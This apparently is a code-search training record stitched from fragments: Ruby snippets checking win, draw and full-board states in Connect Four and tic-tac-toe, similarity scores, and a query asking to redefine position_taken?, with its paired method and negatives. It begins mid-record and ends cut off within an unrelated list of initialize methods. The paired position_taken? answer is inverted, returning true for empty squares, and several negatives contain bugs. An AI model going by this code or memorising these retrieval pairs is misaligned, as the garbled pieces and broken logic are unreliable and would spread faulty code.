"def vertical_c4?\n result=true\n\n this_column = @play_field[@last_move]\n\n return false if this_column.length < 4\n\n last_move_color = this_column[-1]\n\n\n\n #checks if the top 4 in the stack are all the same color\n this_column[-4..-1].all? {|move| move == last_move_color}\n\n\n end",
"def board_is_correct?()\n _row_checker() && _column_checker() && _square_checker\n end",
"def draw?\n @board.full? && !won?\n end",
"def full?\n !@board.detect{|i| i == \" \"}\n end",
"def check_row\n @num_row.times do |row|\n consecutive = 0\n curr_tile = @board[row][0]\n @num_col.times do |col|\n if curr_tile == @board[row][col]\n next unless @board[row][col] #skip over empty tiles before the first non-empty\n consecutive += 1\n return true if consecutive == 4\n else\n curr_tile = @board[row][col]\n consecutive = 1\n end\n end\n end\n false\n end",
"def check_horizontal_win? \n \t@board.each do |i| #assigns the elements of the \"primary\" array in board (i.e. the rows) to the variable i\n \t \t\tif(i[0]!=0&&(i[0]==i[1]&&i[1]==i[2]&&i[2]==i[3])) #if the first element of row i is not equal to 0 and \n \t \t\t\t#the first element of row i is equal to the second element of row i and \n \t \t\t\t#the second element of row i is equal to the third element of row i and\n \t \t\t\t#the third element of row i equal to the fourth element of row i, \n \t \t\t\t#then by the transitive property the statement is true\n \t\treturn true\n \t\tend\n \t\tend\n \treturn false \n \tend",
"def diagonal_win?\n (0..3).each do |column|\n (0..2).each do |row|\n return true if down_right_win?(row, column)\n end\n end\n (3..6).each do |column|\n (0..2).each do |row|\n return true if down_left_win?(row, column)\n end\n end\n false\n end",
"def full?(board)\n if @board.any? {|index| index == nil || index == \" \"}\n return false\n else\n return true\n end\n end",
"def check_full? \n \t\treturn true if @size==16 #size increase by 1 with every turn so when it reaches 16 we know that all cells are full\n\tend",
"def draw?\n @board.full? && !won?\n end",
"def draw?\n @board.full? && !won?\n end",
"def check_row\n \n\tcount = 1\n\t\n\t# Checking to the left.\n\tif @last_insert_x > 1\n\t\n\t i = @last_insert_x - 1\n\t player_symbol = assignment[@last_insert_x - 1][@last_insert_y - 1]\n\t next_symbol = assignment[i - 1][@last_insert_y - 1]\n\t \n\t while (i >= 1) && (count < 4) && (next_symbol == player_symbol)\n\t count += 1\n\t\ti -= 1\n\t\tnext_symbol = assignment[i - 1][@last_insert_y - 1]\n\t end\n\t\n\tend \n\t\n\t# Checking to the right.\n\tif @last_insert_x < width\n\t\n\t i = @last_insert_x + 1\n\t player_symbol = assignment[@last_insert_x - 1][@last_insert_y - 1]\n\t next_symbol = assignment[i - 1][@last_insert_y - 1]\n\t \n\t while (i <= width) && (count < 4) && (next_symbol == player_symbol)\n\t count += 1\n\t\ti += 1\n\t\tnext_symbol = (i < width + 1) ? assignment[i - 1][@last_insert_y - 1] : !player_symbol\n\t end\n\t \n\tend\n\t\n count >= 4\n end",
"def inside_board?(r, c)\n (r >= 0) && (c >= 0) && (r <= @row_limit) && (c <= @column_limit)\n end",
"def draw?\n !won? && board.full?\n end",
"def win?(piece)\n check_rows(piece, grid) || check_rows(piece, grid.transpose) || check_diagonals(piece)\n end",
"def check_columns_for_winner\n # @player = nil\n if board[0][0] == board[1][0] and board[1][0] == board[2][0] and not board[0][0] == nil\n @player = board[0][0]\n elsif board[0][1] == board[1][1] and board[1][1] == board[2][1] and not board[0][1] == nil\n @player = board[0][1]\n elsif board[0][2] == board[1][2] and board[1][2] == board[2][2] and not board[0][2] == nil\n @player = board[0][2]\n end\n end",
"def full?\n any_spaces = @board.any?{|element| element == \" \"}\n if any_spaces == true\n return false\n else\n return true\n end\n end",
"def full?\n answer= @board.each {|box| return false if taken?(box) == false }\n unless answer ==false \n true\n end\n end",
"def full?\n @board.all? { |location| location != \" \"}\n end",
"def board_win?(board)\n first_row_win?(board) ||\n second_row_win?(board) ||\n third_row_win?(board) ||\n first_column_win?(board) ||\n second_column_win?(board) ||\n third_column_win?(board) ||\n diag_right_win?(board) ||\n diag_left_win?(board) \nend",
"def board_full?(board)\n false\n true unless board.include?(INITIAL_MARKER)\nend",
"def block_diagonal_win?\n \tblank_x = -1\n \tx_row_total = 0\n \t\n \t3.times do |i|\t\n\t\t\tif @game_board[i][i] == \"X\"\n\t\t\t\tx_row_total += 1\n\t\t\telse \n\t\t\t\tblank_x = i\n\t\t\tend\n\n\t\t\tif x_row_total == 2 && blank_x > -1\n\t\t\t\t@game_board[blank_x][blank_x] = \"O\"\n\t\t\t\ttrue\n\t\t\tend\n \tend\n \tfalse\n end",
"def check_diagonal1\n cell = @last_cell_played\n count = 1\n while cell.ld && cell.ld.color == cell.color\n cell = cell.ld\n end\n while cell.ru && cell.ru.color == cell.color\n cell = cell.ru\n count += 1\n end\n return true if count >= 4\n false\n end",
"def full?(board)\n board_is_full = board.all? do |space|\n space == \"X\" || space == \"O\"\n end\n return board_is_full\nend",
"def full?\n @board.all?{|occupied| occupied != \" \"}\nend",
"def full?\n @board.all?{|occupied| occupied != \" \"}\nend",
"def check_horizontal\n RulesContracts.classic_model(@game_state_model)\n (0..7).each { |y|\n (0..7).each { |x|\n if x < 5 and @grid[y][x] == 2\n if @grid[y][x + 1] == 2 and @grid[y][x + 2] == 2 and @grid[y][x + 3] == 2\n @winner = 1\n return true\n end\n elsif x < 5 and @grid[y][x] == 1\n if @grid[y][x + 1] == 1 and @grid[y][x + 2] == 1 and @grid[y][x + 3] == 1\n @winner = 0\n return true\n end\n end \n }\n }\n return false\n end",
"def horizontalBlock? (player)\n (0..3).any? {|c| (0..5).any? {|r| threeFromTowards?(player, r, c, 0, 1)}}\n end",
"def full?(board) #check if the board is full\n board.each_with_index do |position, index|\n if position_taken?(board, index) == false \n return false\n end\n end\n return true\nend",
"def full?\n #if there is a blank space, returns false, otherwise true\n !(@board.detect {|posit| posit == \" \"})\n end",
"def check_wins(column, player)\n\t\t# row checking\n\t\tfor i in 0...@@board.length\n\t\t\trow = @@board[i]\n\t\t\trow_counter = 0\n\t\t\tfor j in 0...row.length\n\t\t\t\tif row[j] === player\n\t\t\t\t\trow_counter += 1\n\t\t\t\t\tif row_counter === 4\n\t\t\t\t\t\treturn true\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\trow_counter = 0\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\t# column checking\n\t\tcolumn_counter = 0\n\t\tfor k in 0...@@board.length\n\t\t\tif @@board[k][column] === player\n\t\t\t\tcolumn_counter += 1\n\t\t\t\tif column_counter === 4\n\t\t\t\t\treturn true;\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\t# diagonal checking, chose to go to 11 because coordinates [5,6] can be\n\t\t#reached in this loop\n\t\tfor diagonal_sum in 0..11\n\t\t\tdiagonal_counter = 0\n\t\t\tfor x in 0..diagonal_sum\n\t\t\t\ty = diagonal_sum - x\n\t\t\t\tif (defined?(@@board[x][y])).nil?\n\t\t\t\t\t# some of the coordinates being checked are not defined, this is to\n\t\t\t\t\t# keep looping through the board to check values on the board\n\t\t\t\t\tnext\n\t\t\t\tend\n\t\t\t\tif @@board[x][y] === player\n\t\t\t\t\tdiagonal_counter += 1\n\t\t\t\t\tif diagonal_counter === 4\n\t\t\t\t\t\treturn true\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tdiagonal_counter = 0\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\t# other diagonal checking\n\t\tfor diagonal_diff in (6).downto(-5)\n\t\t\ty = 0\n\t\t\tother_diagonal_counter = 0\n\t\t\tfor x in 0...7\n\t\t\t\ty = diagonal_diff + x\n\t\t\t\tif (defined?(@@board[x][y])).nil? #if a space is undefined, just keep checking\n\t\t\t\t\tnext\n\t\t\t\tend\n\t\t\t\tif y < 7\n\t\t\t\t\tif @@board[x][y] === player\n\t\t\t\t\t\tother_diagonal_counter += 1\n\t\t\t\t\t\tif other_diagonal_counter === 4\n\t\t\t\t\t\t\treturn true\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tother_diagonal_counter = 0\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tbreak;\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t# the check_wins method has many nested for loops, which is a\n\t\t# runtime complexity of O(n^2)\n\t\treturn false\n\tend",
"def full?\n @board.all? do |location| \n location == \"X\" || location == \"O\"\n end\n end",
"def full?(board_array)\r\n board_check = board_array.all? do |space|\r\n space != \" \"\r\n end\r\n \r\n if board_check\r\n return true #situation for a draw\r\n else\r\n return false #situation for an in-progress game\r\n end\r\nend",
"def draw?\n self.board.full? && !self.won?\n end",
"def is_winner(x, y, player)\n return true if check_row(x, player)\n return true if check_col(y, player)\n return true if check_diagonals(player)\n return false\n end",
"def board_won?\n\t\twon = false\n\t\t\n\t\tWINNING_POSITIONS.each do |positions|\n\t\t\tn = 0\n\t\t\tfor i in 0..8\n\t\t\t n += 1 if (positions[i] == @gameplay_positions[i] && positions[i] != 0)\n\t\t\tend\n\t\t\tif n == 3\n\t\t\t\twon = true\n\t\t\tend\n\t\tend\n\n\t\twon ? true : false\n\tend",
"def full?(board)\n is_full = board.all? do |position|\n (position == \"X\" || position == \"O\")\n end\n return is_full\nend",
"def check_diagonal2\n cell = @last_cell_played\n count = 1\n while cell.rd && cell.rd.color == cell.color\n cell = cell.rd\n end\n while cell.lu && cell.lu.color == cell.color\n cell = cell.lu\n count += 1\n end\n return true if count >= 4\n false\n end",
"def draw?\n !victory? && @board.flatten.compact.size == 9\n end",
"def winner?\n return true if check_horizontal\n return true if check_vertical\n return true if check_diagonal1\n return true if check_diagonal2\n false\n end",
"def winner?(board)\n #vertical and horizonal equality checks\n j = 0\n for i in 0...3\n return true if (board[j]==board[j+1])&&(board[j+1]==board[j+2])\n\n j += 3\n end\n #verticals equality test\n j = 0\n for i in 0...3\n\n return true if (board[j]==board[j+3])&&(board[j+3]==board[j+6])\n j += 1\n end\n\n #diagonals equality test\n \n return true if (board[0]==board[4])&&(board[4]==board[8])\n return true if (board[2]==board[4])&&(board[4]==board[6])\n \n\n false\n end",
"def full?\n @board.all? {|value| value == \"X\" || value ==\"O\"}\n end",
"def full?(board)\n # indices = [0, 1, 2, 3, 4, 5, 6, 7, 8]\n # if indices.all? {|position| position_taken?(board, position, \"X\") || position_taken?(board, position, \"O\")}\n # return true\n # elsif board.include?(\" \")\n # return false\n if board.include?(\" \" || \"\" || nil)\n return false\n else\n return true\n end\nend",
"def full?()\n @board.each do |values|\n if values == \" \" || values == \"\"\n return false\n end\n end\n return true\n end",
"def horizontal?\n @board.each { |sub_array|\n num_x = 0\n sub_array.each { |item|\n num_x += 1 if item == 'x' \n }\n if num_x == sub_array.length\n return true\n end \n }\n return false\n end",
"def full? \n\t@board.any? {|a| a.include?(\" \")} ? false : true\n\tend"
] | [
"0.7846755",
"0.7827885",
"0.77723414",
"0.77426314",
"0.77403164",
"0.77385163",
"0.77382386",
"0.7681919",
"0.76534635",
"0.7637052",
"0.75750226",
"0.75750226",
"0.75710636",
"0.7520781",
"0.7516907",
"0.7513526",
"0.74870896",
"0.7484794",
"0.7483048",
"0.7475727",
"0.74756163",
"0.74756163",
"0.7471722",
"0.7471363",
"0.74559546",
"0.74476266",
"0.7444554",
"0.744379",
"0.7422798",
"0.74087805",
"0.7400637",
"0.73919404",
"0.73699826",
"0.7364212",
"0.7354967",
"0.73343885",
"0.7315442",
"0.73039955",
"0.73031425",
"0.72870797",
"0.7286907",
"0.7277519",
"0.7276866",
"0.7274547",
"0.7274405",
"0.72705406",
"0.72701496",
"0.7269785",
"0.72664094",
"0.7265188",
"0.72507876",
"0.72477466",
"0.72303814",
"0.7212749",
"0.7211603",
"0.7208797",
"0.72087187",
"0.7206343",
"0.7197948",
"0.7193125",
"0.7190961",
"0.71880955",
"0.71742684",
"0.7159911",
"0.7159234",
"0.7159234",
"0.7155844",
"0.7149109",
"0.71453506",
"0.71452147",
"0.71397674",
"0.71377295",
"0.7133832",
"0.7132003",
"0.71314543",
"0.7131268",
"0.712125",
"0.710716",
"0.7104861",
"0.7098411",
"0.7098411",
"0.7096726",
"0.70914644",
"0.70908105",
"0.70887554",
"0.70828366",
"0.708099",
"0.70752823",
"0.70725805",
"0.7069901",
"0.7069033",
"0.7063503",
"0.7063012",
"0.706141",
"0.70572364",
"0.7055123",
"0.70546836",
"0.7054315",
"0.70523083",
"0.70517755",
"0.7047537"
] | 0.0 | -1 |
redefine your position_taken? method here, so that you can use it in the valid_move? method above. | def position_taken?(board, position)
if board[position] == " " || board[position] == "" || board[position] == nil
return true
else board[position] == "O" || "X"
return false
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def position_taken?(board, position)\n return false if valid_move?(board, position)\n return true unless valid_move?(board, position)\nend",
"def position_taken?\nend",
"def valid_move?(board, index)\n if index.between?(0, 8)\n # re-define your #position_taken? method here, so that you can use it in the #valid_move? method above.\n def position_taken?(board, index)\n if board[index] == \" \"\n !false\n elsif board[index] == \"\"\n !false\n elsif board[index] == nil\n !false\n elsif board[index] == \"X\" || board[index] == \"O\"\n !true\n end\n end\n position_taken?(board, index)\nend\nend",
"def valid_move?(board, index)\nif position_taken?(board, index) == false\n if between?(index) == true\n true\n else\n false\n end\nelse\n false\nend\nend",
"def valid_move?(board, position)\n position = position.to_i\n return false if !valid_position?(position)\n return false if position_taken?(board, position)\n return true\nend",
"def valid_move?(position)\n position.between?(0,8) && !position_taken?(position)\n end",
"def valid_move?(board, index)\n\nif position_taken?(board,index) == true\n return false\nelsif index > -1 && index < 9\n return true\nelse\n return false\nend\n\nend",
"def valid_move?(position)\r\n @index = position.to_i-1\r\n if @index.between?(0,8) && !position_taken?(@index)\r\n return true\r\n else\r\n return false\r\n end\r\n end",
"def valid_move?(board,position)\n valid = nil\n if position >= 0 && position <=8\n case position_taken?(board,position)\n when true\n valid = false\n when false\n valid = true\n end\n end\n\n return valid\nend",
"def valid_move?(position)\n if is_number?(position)\n if position.to_i.between?(0, 10)\n if position_taken?(position.to_i-1)\n false\n else\n true\n end\n else \n false\n end\n else\n false\n end\n end",
"def valid_move?( board, index )\n if index >= 0 && index <= 8\n if position_taken?( board, index ) # this is the one\n return false\n else\n return true\n end\n else\n return false\n end\nend",
"def valid_move?(fir, sec)\n if (sec < 0) || (sec > 8)\n return false\n elsif position_taken?(fir,sec)\n return false\n else\n return true\n end\nend",
"def valid_move?(board,pos)\n if !position_taken?(board,pos.to_i-1) && pos.to_i.between?(1,9)\n return true\n elsif position_taken?(board,pos.to_i-1) && pos.to_i.between?(1,9)\n return false\n end\nend",
"def valid_move?(board, ix)\n if position_taken?(board, ix) == false && move_val?(ix) == true\n return true\n else\n false\n end\nend",
"def valid_move?(new_x, new_y)\n true\n end",
"def valid_move?(board, new_index)\n if 8 < new_index || new_index < 0\n return false\n elsif position_taken?(board, new_index) == true\n return false\n else\n return true\n end\nend",
"def valid_move?(position)\n !taken?(position) && position.to_i >0 && position.to_i <=9\n end",
"def valid_move?(board,position)\n if position.to_i.between?(1,9) && !position_taken?(board,position.to_i-1)\n true\n else\n end\nend",
"def valid_move?(board, position)\n # position = position.to_i \n position.to_i. between?(1, 9) && !position_taken?(board, position.to_i-1)\nend",
"def valid_move?(board, indx)\n if position_taken?(board, indx)\n false \n elsif (indx < 0 || indx > 8)\n false\n else \n true \n end \nend",
"def valid_move? (board, position)\n position = position.to_i - 1\n (position.between?(0,8)) && (position_taken?(board, position) == false)\nend",
"def valid_move?(board, indx)\n if indx>=0 && indx<board.length && !position_taken?(board,indx)\n true\n else\n false\n end\nend",
"def valid_move?(board, index)\n if position_taken?(board, index) == true\n false\n elsif index > 8 || index < 0\n false\n else\n true\n end\nend",
"def valid_move?(board, position)\n position.to_i.between?(1,9) && !position_taken?(board, position.to_i-1)\nend",
"def valid_move?(board, position)\n position_taken?(board, position) == false && position.between?(0, 8) ? true : false\nend",
"def valid_move?(position)\n position = position.to_i - 1\n if position_taken?(position) == false && position.to_i.between?(0, 8)\n return true\nelsif position_taken?(position) == true\n return false\nelse \n return false\nend\nend",
"def valid_move?(position)\n index=position.to_i - 1\n index.between?(0, 8) && !(position_taken?(index))\n end",
"def valid_move?(board,index)\n if index > 9 || index < 0\n return false\n elsif position_taken?(board,index)\n return false\n else\n return true\n end\nend",
"def position_taken?(board,position)\n return false if [\" \", \"\", nil].include?(board[position])\n return true if [\"X\", \"O\"].include?(board[position])\n raise \"#{board[position]} is not a valid move\"\nend",
"def valid_move?(board, index)\n if position_taken?(board, index) or !(index >= 0 and index < 9)\n false\n else\n true\n end\nend",
"def valid_move?(board, position)\n position.to_i.between?(1,9) && !position_taken?(board,position.to_i-1)\n\nend",
"def valid_move?(board, position)\n position = position.to_i\n if(position.between?(1,9))\n position -=1\n if(position_taken?(board, position))\n false\n else\n true\n end\n end\nend",
"def valid_move?(board,position)\n if !position.is_a?(Integer)\n position = position.to_i\n end\n if(position>=1 && position<=board.length && !position_taken?(board,position))\n return true\n end\n return false\nend",
"def valid_move?(board, position)\n if !(position_taken?(board, position)) && position.between?(0, 8)\n return true\n else\n return false\n end\nend",
"def valid_move?(board, position)\n position = position.to_i - 1\n if position_taken?(board, position) == false && position.to_i.between?(0, 8)\n return true\nelsif position_taken?(board, position) == true\n return false\nelse \n return false\nend\nend",
"def valid_move?(board, index)\n if position_taken?(board, index)\n false\n elsif index > 8 || index < 0\n false\n else\n true\n end\nend",
"def valid_move?(board, position)\n position = position.to_i - 1\n if position_taken?(board, position)\n return false\n else\n if position.between?(0,8) && (board[position] != \"X\" || board[position] != \"O\")\n return true\n else\n return false \n end\n end\nend",
"def valid_move?(input_position)\n num = self.convert_to_i(input_position)\n num.between?(1, 9) && !self.taken?(num)\n end",
"def valid_move?(board, position)\n if position.to_i>=1 && position.to_i<=9 && !position_taken?(board, position.to_i-1)\n return true\n else\n return false\n end\nend",
"def valid_move?(board,position)\n position=position.to_i-1\n if position.between?(0,8) && !position_taken?(board, position)\n true\n else\n false\n end\nend",
"def valid_move?(board, position)\n position.between?(0, 8) && !position_taken?(board, position)\nend",
"def valid_move?(position)\n if !position_taken?(position) && position.between?(0,8)\n true\n else\n false\n end\n end",
"def valid_move?(board, index)\n if index.between?(0, 8) && position_taken?(board, index) == false\n true\n else\n false\n end\nend",
"def valid_move?(board, i)\n # check if position taken or 'out-of-bounds'\n if (position_taken?(board, i) == true) || (i > 8) || (i < 0)\n return false\n else \n return true\n end \nend",
"def move_is_valid?(position)\n\t\tif @played_positions.index(position)\n\t\t\tresult = false\n\t\telse \n\t\t\t@played_positions << position \n\t\t\tresult = true\n\t\tend\n\t\tresult\n\tend",
"def valid_move?(board, position)\n indexed_position = position.to_i - 1\n indexed_position.between?(0,8) && !position_taken?(board, indexed_position)\nend",
"def valid_move?(board,index)\n if (index >= 0 && index <=8)\n if (position_taken?(board,index))\n return false\n else\n return true\n end\n else\n return false\n end\nend",
"def valid_move?(board, position)\n position = (position.to_i - 1)\n\n if position.between?(0, 8) && !position_taken?(board, position)\n true\n else false\n end\nend",
"def valid_move?(board, position)\n position = position.to_i - 1\n position_taken?(board, position) == false && position.between?(0,8) == true\nend",
"def valid_move?(board, index)\n if index.between?(0, board.count - 1) && position_taken?(board, index) == false\n true\n else\n false\n end\nend",
"def valid_move?(board, index)\n \nif position_taken?(board, index) === false && index.between?(0, 8)\n return true\nelse \n return false\nend\nend",
"def valid_move?(position)\n if !position.is_a?(Integer)\n position = position.to_i\n end\n if(position>=1 && position<=@board.length && !position_taken?(position))\n return true\n end\n return false\n end",
"def valid_move?(board, position)\n !position_taken?(board, position) && position.between?(0,8)\nend",
"def valid_move?(board, position)\n position = position.to_i - 1\n if position.between?(0, 8) && !position_taken?(board, position)\n true\n end\nend",
"def valid_move?(board,index)\n if position_taken?(board,index) == true\n return false\n elsif index > 8 or index < 0\n return false\n else\n return true\n end\n end",
"def valid_move?(board, position)\n position = position.to_i\n \n if (position_taken?(board, position) ==false) && position.between?(1,9)\n return true\n else\n return false\n end\nend",
"def valid_move?( board, index )\n\n if (index.between?(0,8) ) && ( position_taken?(board, index) == false )\n return true\n else\n return false\n end\n\nend",
"def valid_move?(board, index)\n if board[index].nil? || position_taken?(board, index) || board[index] == \"X\" || board[index] == \"O\"\n false\n else\n true\n end\nend",
"def valid_move? (board, index)\n if index.between?(0, 8) && !position_taken?(board, index)\n true \n end \nend",
"def valid_move?(board, position)\n position = position.to_i\n \n if !(position_taken?(board, position-1)) && position.between?(1,9)\n return true\n else\n return false\n end\nend",
"def valid_move?(board, index)\nif !(index.between?(0,8))\n return false\nelsif position_taken?(board, index)\n return false \nelse \n return true\n end\nend",
"def valid_move?(a,i)\r\n if i.between?(0,8) && !position_taken?(a,i)\r\n true\r\n else\r\n false\r\n end\r\nend",
"def valid_move?(board,index)\n if index < 0\n false\n else\n if index > 8\n false\n else\n !position_taken?(board,index)\n end\n end\nend",
"def valid_move?(location)\n location.to_i.between?(1,9) && !position_taken?(location.to_i-1)\n end",
"def valid_move?(board, index)\nif index.between?(0,8) && !position_taken?(board, index)\n true\nelse\n false\nend\nend",
"def valid_move?(board, index)\n if index.between?(0, 8) && position_taken?(board, index) == false\n true\n else position_taken?(board, index) == true\n nil\n end\nend",
"def position_taken?(board, position)\n if !(board[position.to_i - 1] == \"X\" || board[position.to_i - 1] == \"O\")\n return true\n else \n return false\n end\nend",
"def valid_move?(board, idx)\n if position_taken?(board, idx) == false && idx.between?(0, 8)\n return true\n else\n return false\n end\nend",
"def valid_move?(position) ### changed from index to position - ER 2017\n\n if (position > 9) || (position < 0) #if index (position on board entered by user) is greater than 9 or less than 0, return false\n false\n elsif position_taken?(position) ###otherwise, if position on board is taken, return false\n false\n else position.between?(0, 8) ###finally, if the position isn't taken, and the index (position on board entered by user) is between 0 and 8, return true\n true\n end # end if...elsif statements\n end",
"def valid_move?(index)\n\t\tindex < 9 && !position_taken?(index) ? true : false\n\tend",
"def position_taken?(board, index_to_validate)\n if (board[index_to_validate] == \"X\" || board[index_to_validate] == \"O\")\n return true\n end\n return false # NOTE: if we arrive here, the position is definitely not taken\nend",
"def position_taken?(board, pos)\n if board[pos]==\"X\" || board[pos]==\"O\"\n taken = true\n else\n taken = false\n end\n taken\nend",
"def valid_move?(board, position)\n if position_taken?(board, position) == false && position.to_i.between?(0,8)\n true\n else\n false\n end\n end",
"def valid_move?(board,index)\n if index >= 0 && index <= 8\n if !position_taken?(board, index)\n return true\n else \n return false\n end\n else \n return false\n end\nend",
"def valid_move?(board, index)\n if index.between?(0, 8) && (position_taken?(board, index) == false)\n true\n elsif (index.between?(0,8) == false) || (position_taken?(board, index) == true)\n false\n end\nend",
"def valid_move?(move_index)\r\n #valid if position is NOT taken\r\n valid = !self.position_taken?(move_index)\r\n if valid == true\r\n if move_index.between?(0,8)\r\n valid = true\r\n else\r\n valid = false\r\n end\r\n end\r\n valid\r\n end",
"def valid_move?(board, index)\nif position_taken?(board, index)\nreturn false\nelsif !index.between?(0, 8)\n return false\n else\n return true\n end\nend",
"def valid_move?(board,index)\n if position_taken?(board,index) == FALSE && index.between?(0, 8) == TRUE\n TRUE\n else\n FALSE\n end\nend",
"def valid_move?(board, index)\n index.between?(0, 8) && position_taken?(board, index) == false\n\nend",
"def valid_move?(board,index)\n if index.between?(0,8) && !position_taken?(board,index)\n true\n else\n false\n end\n\nend",
"def valid_move?(board,index)\n if index.between?(0, 8) && !(position_taken?(board, index))\n true\n else \n false\n end\nend",
"def position_taken?(board, new_index)\n if board[new_index] == \"X\" || board[new_index] == \"O\"\n return true\n else\n return false\n end\nend",
"def valid_move?(board, index)\n if !(index.between?(0,8))\n return false\n end\n if (position_taken?(board,index))\n return false\n end\n true\nend",
"def valid_move?(board, index)\nif index.between?(0,8) && !position_taken?(board, index)\n true\n else\n false\n end\nend",
"def valid_move?(board, index)\n if index.between?(0,8) && !position_taken?(board, index)\n puts \"this is a valid move\"\n return true\n else\n return false\n end\nend",
"def valid_move?(board, index)\r\n if index.between?(0, 8) && ! position_taken?(board, index)\r\n return TRUE\r\n else \r\n return FALSE\r\n end\r\nend",
"def valid_move?(board, index)\n if position_taken?(board, index) == false && index.between?(0, 8) == true\n true\n else\n false\nend\nend",
"def position_taken?(move_index)\r\n if @board[move_index] == \" \"\r\n false\r\n else\r\n true\r\n end\r\n end",
"def valid_move?(board,index)\n if !position_taken?(board,index) && index >= 0 && index <=8\n return true\n else \n return false\n end\nend",
"def valid_move? (board, index)\n if (index).between?(0,8) == true && position_taken?(board, index) == false\n return true\n else\n return false\n end\nend",
"def valid_move?(board,index)\n if index.between?(0,8) && position_taken?(board,index)\n true\n end\nend",
"def position_taken?(board,move)\n if board[move]!=\" \"\n return false\n end\nreturn true\nend",
"def position_taken?(board,pos)\n if board[pos.to_i]==\"X\" || board[pos.to_i] ==\"O\"\n return true\n else\n return false\n end\nend",
"def position_taken?(board, position)\n return true if board[position - 1] == \"X\" || board[position - 1] == \"O\"\n false\nend",
"def valid_move?( board, position )\n position_int = position.to_i\n position_ary = position_int - 1\n if !(position_taken?( board, position_ary )) && position_ary.between?( 0, 8 )\n true\n else\n false\n end\nend",
"def valid_move?( board, position )\n position_int = position.to_i\n position_ary = position_int - 1\n if !(position_taken?( board, position_ary )) && position_ary.between?( 0, 8 )\n true\n else\n false\n end\nend",
"def position_taken?(location)\n !(board[location] == \" \" || board[location].nil?)\nend",
"def valid_move?(input)\n (0..8).include?(input) && !position_taken?(input)\n end",
"def valid_move?(index)\n if position_taken?(index)\n false\n elsif index < 0 || index > 8\n false\n else\n true \n end\n end",
"def valid_move?(board, position)\n index = position.to_i\n if position_taken?(board, index) == false && index.between?(0, 8)\n return true\n else\n return false\n end\nend",
"def valid_move?(board, index)\n# binding.pry\n index.between?(0,8) && !position_taken?(board, index)\nend"
] | [
"0.8409163",
"0.8161616",
"0.80913436",
"0.8028138",
"0.80147326",
"0.78978586",
"0.78945714",
"0.7886332",
"0.7844815",
"0.78428453",
"0.78322804",
"0.78152436",
"0.78137267",
"0.7810521",
"0.7802248",
"0.7801857",
"0.78010464",
"0.7789556",
"0.7783039",
"0.7774705",
"0.77739394",
"0.77714765",
"0.77674556",
"0.7757947",
"0.7755842",
"0.77547055",
"0.7750212",
"0.7741981",
"0.7739674",
"0.77389354",
"0.77275467",
"0.7727",
"0.7726577",
"0.77257293",
"0.77222925",
"0.77215695",
"0.7718867",
"0.7716527",
"0.7716101",
"0.76975554",
"0.7691873",
"0.7686001",
"0.76802063",
"0.7679261",
"0.767453",
"0.76738364",
"0.76727605",
"0.76710486",
"0.7662444",
"0.76591617",
"0.7658597",
"0.7643952",
"0.76425254",
"0.76425004",
"0.7642157",
"0.7637309",
"0.7633973",
"0.76259",
"0.7623882",
"0.7621303",
"0.7618475",
"0.76144266",
"0.76130676",
"0.7609677",
"0.76094764",
"0.76023644",
"0.75986177",
"0.75956714",
"0.75929683",
"0.7592198",
"0.75897396",
"0.7578417",
"0.75781256",
"0.757803",
"0.75754213",
"0.7573997",
"0.75668013",
"0.7566756",
"0.7557907",
"0.7554031",
"0.75511074",
"0.75501573",
"0.75493157",
"0.75491905",
"0.75417006",
"0.7539687",
"0.7539462",
"0.7539072",
"0.75388527",
"0.7537473",
"0.7535309",
"0.75338876",
"0.75318223",
"0.75315094",
"0.7529555",
"0.7529555",
"0.75295514",
"0.75295395",
"0.7527147",
"0.7526173",
"0.7526047"
] | 0.0 | -1 |
def initialize(name) self.pseudonym = pseudonym_generator() self.pseudonym = name end | def init
self.real_id ||= false #will set the default value only if it's nil
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def initialize(name = \"Anonymous\") # new initialize method that handles only the name!\n\t\tself.name = name\n\tend",
"def initialize(name, generator)\n @generator = generator\n @name = name.to_sym\n reset!\n end",
"def initialize(name = \"Anonymous\")\n self.name = name #self works like 'this', we're calling the name and salary method for validation\n end",
"def initialize(name)\n @name = name #initializes the name\n end",
"def initialize(player_name)\n\t\t@player = Person.new(player_name)\n\t\t@secret_number = SecretNumber.generate\n\tend",
"def initialize(n)\n @name = n\n end",
"def initialize(name)\n self.name = name \n end",
"def initialize(name)\n name(name)\n end",
"def initialize(name) end",
"def initialize\n\t\t@name = \"Jonathan\"\n\tend",
"def initialize(name)\n\t\t@name = name\n\tend",
"def initialize(name)\n\t\t@name = name\n\tend",
"def initialize(name)\n\t\t@name = name\n\tend",
"def initialize(name)\n\t\t@name = name\n\tend",
"def initialize(name)\n\t\t@name = name\n\tend",
"def initialize(name)\n\t\t@name = name\n\tend",
"def initialize(name)\n assert_kind_of 'name', name, Symbol\n\n @name = name\n @identity_maps = {}\n end",
"def initialize(name)\n @name= name\n end",
"def initialize\n @name = ''\n end",
"def initialize(name)\r\n \t\t@name = name\r\n \tend",
"def initialize\n @name = name\n end",
"def initialize name\n @name = name\n end",
"def initialize name\n\t\t\t@name = name\n\t\tend",
"def initialize(name)\r\n @name = name\r\n end",
"def initialize(name)\r\n @name = name\r\n end",
"def initialize(name)\n @name = name\n \n end",
"def initialize(name = nil)\n\t\t@name = name;\n \tend",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
